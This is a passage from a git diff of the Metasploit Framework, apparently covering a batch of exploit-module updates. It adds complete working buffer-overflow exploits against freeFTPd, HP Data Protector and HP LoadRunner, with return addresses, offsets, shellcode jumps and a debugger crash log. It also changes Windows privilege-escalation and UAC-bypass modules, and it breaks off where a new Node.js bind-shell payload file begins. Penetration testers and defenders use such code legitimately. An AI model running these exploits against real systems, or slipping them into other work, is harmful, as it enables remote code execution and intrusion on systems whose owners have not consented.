#{js} + </script> + </head> + <body> + #{trigger} + </body> + </html> + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb index 8c63e71f2a..f4d6f0ff58 100644 --- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500 }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0: Universal diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb index 4c4789e8b6..56b4e9d30b 100644 --- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index 90eccb2e3c..87b124e826 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index 56d4087df5..23ecb1d055 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '97136'], ['MSB', 'MS13-071'], ['BID', '62176'], - ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'] + ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/25/change-the-theme-get-a-shell'] ], 'Payload' => { diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 6907fc2633..27aaf47205 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "-find" } }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb new file mode 100644 index 0000000000..3915f9ab66 --- /dev/null +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info={}) + super(update_info(info, + 'Name' => "freeFTPd PASS Command Buffer Overflow", + 'Description' => %q{ + freeFTPd 1.0.10 and below contains an overflow condition that is triggered as + user-supplied input is not properly validated when handling a specially crafted + PASS command. This may allow a remote attacker to cause a buffer overflow, + resulting in a denial of service or allow the execution of arbitrary code. + + FreeFTPd must have an account set to authorization anonymous user account. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wireghoul', # Initial discovery, PoC + 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module + ], + 'References' => + [ + ['OSVDB', '96517'], + ['EDB', '27747'], + ['BID', '61905'] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['freeFTPd 1.0.10 and below on Windows Desktop Version', + { + 'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe] + 'Offset' => 801, + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Aug 20 2013", + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]), + + ], self.class) + + # We're triggering the bug via the PASS command, no point to have pass as configurable + # option. + deregister_options('FTPPASS') + + end + + def check + + connect + disconnect + + # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0" + # when banner grabbing. + if banner =~ /freeFTPd 1\.0/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + + end + end + + def exploit + + connect + print_status("Trying target #{target.name} with user #{user()}...") + + off = target['Offset'] - 9 + + bof = payload.encoded + bof << rand_text(off - payload.encoded.length) + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string + bof << rand_text(2) + bof << [target.ret].pack('V') + + send_user(datastore['FTPUSER']) + raw_send("PASS #{bof}\r\n") + disconnect + + end +end + +=begin +(c78.ea4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18 +eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +OLEAUT32!SysFreeString+0x55: +76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=???????? + +FAULTING_IP: +OLEAUT32!SysFreeString+55 +76c23e8d ff36 push dword ptr [esi] + +EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) +ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055) + ExceptionCode: c0000005 (Access violation) + ExceptionFlags: 00000000 +NumberParameters: 2 + Parameter[0]: 00000000 + Parameter[1]: 4141413d +Attempt to read from address 4141413d +=end diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index a7211edba0..da7da7d1fd 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 4f702915fe..db95e6e09f 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 0faa0a19f8..22ec6df3ae 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index e13839c251..a92d1c369e 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "-find" } }, + 'Platform' => %w{ win }, 'Targets' => [ # Target 0 diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index cbf47b6e1b..6e105ad234 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -57,10 +57,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def webfolder_uri begin u = datastore['WRITEWEBFOLDER'] diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index bf1dd3e84d..fe9cd6053e 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -116,10 +116,6 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - def peer - return "#{rhost}:#{rport}" - end - def exploit print_status("#{peer} - Getting a valid session...") session = get_session diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index d24d458f5c..662990ed3a 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -114,10 +114,6 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - def peer - return "#{rhost}:#{rport}" - end - def exploit print_status("#{peer} - Getting a valid session...") session = get_session diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index e68106abca..93c2446064 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -64,10 +64,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def check begin diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index c75a6e128a..0c0f46ef3f 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -53,10 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def get_version version = nil diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 409a8de3fd..ed66e8350f 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -55,10 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def version_soap soap = <<-eos <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0"> diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 95fe5c0ba9..3078d265de 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -9,35 +9,29 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local - Rank = AverageRanking + Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Registry - include Msf::Exploit::FileDropper + def initialize(info={}) super(update_info(info, { 'Name' => 'Windows AlwaysInstallElevated MSI', 'Description' => %q{ - This module checks the AlwaysInstallElevated registry keys which dictate if + This module checks the AlwaysInstallElevated registry keys which dictates if .MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM). - - The default MSI file is data/exploits/exec_payload.msi with the WiX source file - under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply - executes payload.exe within the same folder. - - The MSI may not execute succesfully successive times, but may be able to get around - this by regenerating the MSI. - - MSI can be rebuilt from the source using the WIX tool with the following commands: - candle exec_payload.wxs - light exec_payload.wixobj + The generated .MSI file has an embedded executable which is extracted and run + by the installer. After execution the .MSI file intentionally fails installation + (by calling some invalid VBS) to prevent it being registered on the system. + By running this with the /quiet argument the error will not be seen by the user. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell', + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', 'Parvez Anwar' # discovery?/inspiration ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -46,8 +40,8 @@ class Metasploit3 < Msf::Exploit::Local 'DefaultOptions' => { 'WfsDelay' => 10, - 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -k -f' + 'EXITFUNC' => 'process', + 'MSI::UAC' => true }, 'Targets' => [ @@ -57,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Local [ [ 'URL', 'http://www.greyhathacker.net/?p=185' ], [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ], - [ 'URL', 'http://wix.sourceforge.net'] , + [ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html'] ], 'DisclosureDate'=> 'Mar 18 2010', 'DefaultTarget' => 0 @@ -102,31 +96,17 @@ class Metasploit3 < Msf::Exploit::Local def exploit - if check != Msf::Exploit::CheckCode::Vulnerable - return - end + return unless check == Msf::Exploit::CheckCode::Vulnerable - msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi" - msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi") + msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi" + msi_source = generate_payload_msi # Upload MSI - @msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped - print_status("Uploading the MSI to #{@msi_destination} ...") + msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip + print_status("Uploading the MSI to #{msi_destination} ...") - #upload_file - ::File.read doesn't appear to work in windows... - source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) } - write_file(@msi_destination, source) - register_file_for_cleanup(@msi_destination) - - # Upload payload - payload = generate_payload_exe - @payload_destination = expand_path("%TEMP%\\payload.exe").strip - print_status("Uploading the Payload to #{@payload_destination} ...") - write_file(@payload_destination, payload) - register_file_for_cleanup(@payload_destination) - - # Execute MSI - print_status("Executing MSI...") + write_file(msi_destination, msi_source) + register_file_for_cleanup(msi_destination) if datastore['LOG_FILE'].nil? logging = "" @@ -140,7 +120,9 @@ class Metasploit3 < Msf::Exploit::Local quiet = "" end - cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}" + cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}" + + print_status("Executing MSI...") vprint_status("Executing: #{cmd}") begin result = cmd_exec(cmd) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index f097ebb59f..14a966a1c4 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -69,11 +69,11 @@ class Metasploit3 < Msf::Exploit::Local ) when UACDefault print_good "UAC is set to Default" - print_status "BypassUAC can bypass this setting, continuing..." - when UACNoPrompt - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" - ) + print_good "BypassUAC can bypass this setting, continuing..." + when 0 + print_error "UAC is not enabled, no reason to run module" + print_error "Run exploit/windows/local/ask to elevate" + return end # Check if you are an admin diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 34446fa276..2a0d57e4bb 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -12,7 +12,6 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE - include Exploit::FileDropper include Post::Common include Post::File include Post::Windows::Priv @@ -124,14 +123,10 @@ class Metasploit3 < Msf::Exploit::Local ) end - bpdll_path = ::File.join(path, "bypassuac-x64.dll") - if sysarch =~ /WOW64/i bpdll_path = ::File.join(path, "bypassuac-x86.dll") - # We only have to do this for SYSWOW64 as 64 bit process - # cleans up after itself. It appears to be a problem with - # SysWOW64 Redirection... - register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll") + else + bpdll_path = ::File.join(path, "bypassuac-x64.dll") end else if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) @@ -149,11 +144,8 @@ class Metasploit3 < Msf::Exploit::Local # Generate payload and random names for upload # payload = generate_payload_dll - - payload_filepath = "#{tmpdir}\\CRYPTBASE.dll" - print_status("Uploading the Payload DLL to the filesystem...") begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb new file mode 100644 index 0000000000..5186340e59 --- /dev/null +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -0,0 +1,258 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Data Protector Cell Request Service Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector + product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell + Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested + successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3. + }, + 'Author' => + [ + 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-2333' ], + [ 'OSVDB', '93867' ], + [ 'BID', '60309' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-130/' ] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 4096, + 'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'HP Data Protector 6.20 build 370 / Windows XP SP3', + { + 'Ret' => 0x00436fe2, # ppr from crs.exe + 'Offset' => 15578 + } + ], + [ 'HP Data Protector 7.00 build 72 / Windows XP SP3', + { + 'Ret' => 0x004cf8c1, # ppr from crs.exe + 'Offset' => 15578 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 03 2013')) + + deregister_options('RPORT') # The CRS service runs on a random port + end + + def build_pkt(fields) + data = "\xff\xfe" # BOM Unicode + fields.each do |k, v| + if k == "Payload" + data << "#{v}\x00\x00" + else + data << "#{Rex::Text.to_unicode(v)}\x00\x00" + end + data << Rex::Text.to_unicode(" ") # Separator + end + + data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator + data << "\x00\x00" # Ending + return [data.length].pack("N") + data + end + + def get_fingerprint + ommni = connect(false, {'RPORT' => 5555}) + ommni.put(rand_text_alpha_upper(64)) + resp = ommni.get_once(-1) + disconnect + + if resp.nil? + return nil + end + + return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl + end + + def get_crs_port + + pkt = build_pkt({ + "Opcode" => "2", + "FakeMachineName" => rand_text_alpha(8), + "Unknown1" => "0", + "FakeDomainUser" => rand_text_alpha(8), + "FakeDomain" => rand_text_alpha(8), + "FakeLanguage" => rand_text_alpha(8), + "Unknown2" => "15" + }) + ommni = connect(false, {'RPORT' => 5555}) + ommni.put(pkt) + resp = ommni.get_once(-1) + disconnect + + if resp.nil? + return nil + end + + res_length, bom_unicode, res_data = resp.unpack("Nna*") + + fields = res_data.split(Rex::Text.to_unicode(" ")) + + opcode = fields[0] + port = fields[1] + + if not opcode or not port + vprint_error("Unexpected response") + return nil + end + + opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00")) + + if opcode != "109" + vprint_error("Unexpected opcode #{opcode} in the response") + return nil + end + + port = Rex::Text.to_ascii(port.chomp("\x00\x00")) + return port.to_i + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + return Exploit::CheckCode::Unknown + end + + port = get_crs_port + + if port.nil? + print_status("HP Data Protector version #{fingerprint}") + print_error("But CRS port not found") + else + print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") + end + + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ + return Exploit::CheckCode::Vulnerable + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ + return Exploit::CheckCode::Vulnerable + elsif fingerprint =~ /HP Data Protector A\.07\.00/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A\.07\.01/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A\.06\.20/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A\.06\.21/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_target + fingerprint = get_fingerprint + + if fingerprint.nil? + return nil + end + + if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ + return targets[1] + elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ + return targets[2] + else + return nil + end + end + + def exploit + + if target.name =~ /Automatic/ + print_status("Trying to find the target version...") + my_target = get_target + else + my_target = target + end + + if my_target.nil? + fail_with(Failure::NoTarget, "Failed to autodetect target") + end + + print_status("Trying to find the CRS service port...") + port = get_crs_port + if port.nil? + fail_with(Failure::NotFound, "The CRS service has not been found.") + else + print_good("CRS service found on #{port}/TCP") + connect(true, {'RPORT' => port}) + end + + pkt = build_pkt({ + "Opcode" => "0", + "EndPoint" => "GUICORE", + "ClientFingerprint" => "HP OpenView OmniBack II A.06.20", + "FakeUsername" => rand_text_alpha(8), + "FakeDomain" => rand_text_alpha(8), + "Unknown1" => "488", + "Unknown2" => rand_text_alpha(8) + }) + print_status("Sending packet with opcode 0...") + sock.put(pkt) + data = sock.get_once(-1) + + if data.nil? + fail_with(Failure::Unknown, "Error while communicating with the CRS Service") + end + + if Rex::Text.to_ascii(data) !~ /NT-5\.1/ + fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets") + end + + pkt = build_pkt({ + "Opcode" => "225" + }) + print_status("Sending packet with opcode 225...") + sock.put(pkt) + data = sock.get_once(-1) + + if data.nil? + fail_with(Failure::Unknown, "Error while communicating with the CRS Service") + end + + bof = payload.encoded + bof << rand_text(my_target["Offset"] - payload.encoded.length) + bof << generate_seh_record(my_target.ret) + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string + bof << rand_text(100) # Trigger Exception + + pkt = build_pkt({ + "Opcode" => "211", + "Payload" => bof + }) + print_status("Sending malicious packet with opcode 211...") + sock.put(pkt) + disconnect + end + +end diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb new file mode 100644 index 0000000000..e51c94a140 --- /dev/null +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -0,0 +1,83 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP LoadRunner magentproc.exe Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The + vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending + a specially crafted packet, an attacker may be able to execute arbitrary code. + }, + 'Author' => + [ + 'Unknown', # Original discovery # From Tenable Network Security + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-4800'], + ['OSVDB', '95644'], + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'SSL3', + 'PrependMigrate' => true + }, + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'DefaultTarget' => 0, + 'Targets' => + [ + [ + 'Windows XP SP3 / HP LoadRunner 11.50', + { + # magentproc.exe 11.50.2042.0 + 'Offset' => 1104, + 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates + 'Crash' => 6000 # Length needed to ensure an exception + } + ] + ], + 'DisclosureDate' => 'Jul 27 2013')) + + register_options([Opt::RPORT(443)], self.class) + end + + def exploit + + req = [0xffffffff].pack("N") # Fake Length + req << rand_text(target['Offset']) + req << generate_seh_record(target.ret) + req << payload.encoded + req << rand_text(target['Crash']) + + connect + print_status("Sending malicious request...") + sock.put(req) + disconnect + + end +end diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 2c0198d667..09f9c69caf 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 354ce38303..1603d7fad5 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index 241db30104..e5afef18e3 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -92,10 +92,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def exploit # In order to save binary data to the file system the payload is written to a .vbs diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index 06bce02e13..0c7086cc6e 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 21bfa5b42f..a4246601ec 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ # W2API.DLL @ 0x01950000 - return to ESI diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index 1e90fc1e2e..cc4388a94c 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500, }, + 'Platform' => %w{ win }, 'Targets' => [ [ diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb new file mode 100644 index 0000000000..542ca6365d --- /dev/null +++ 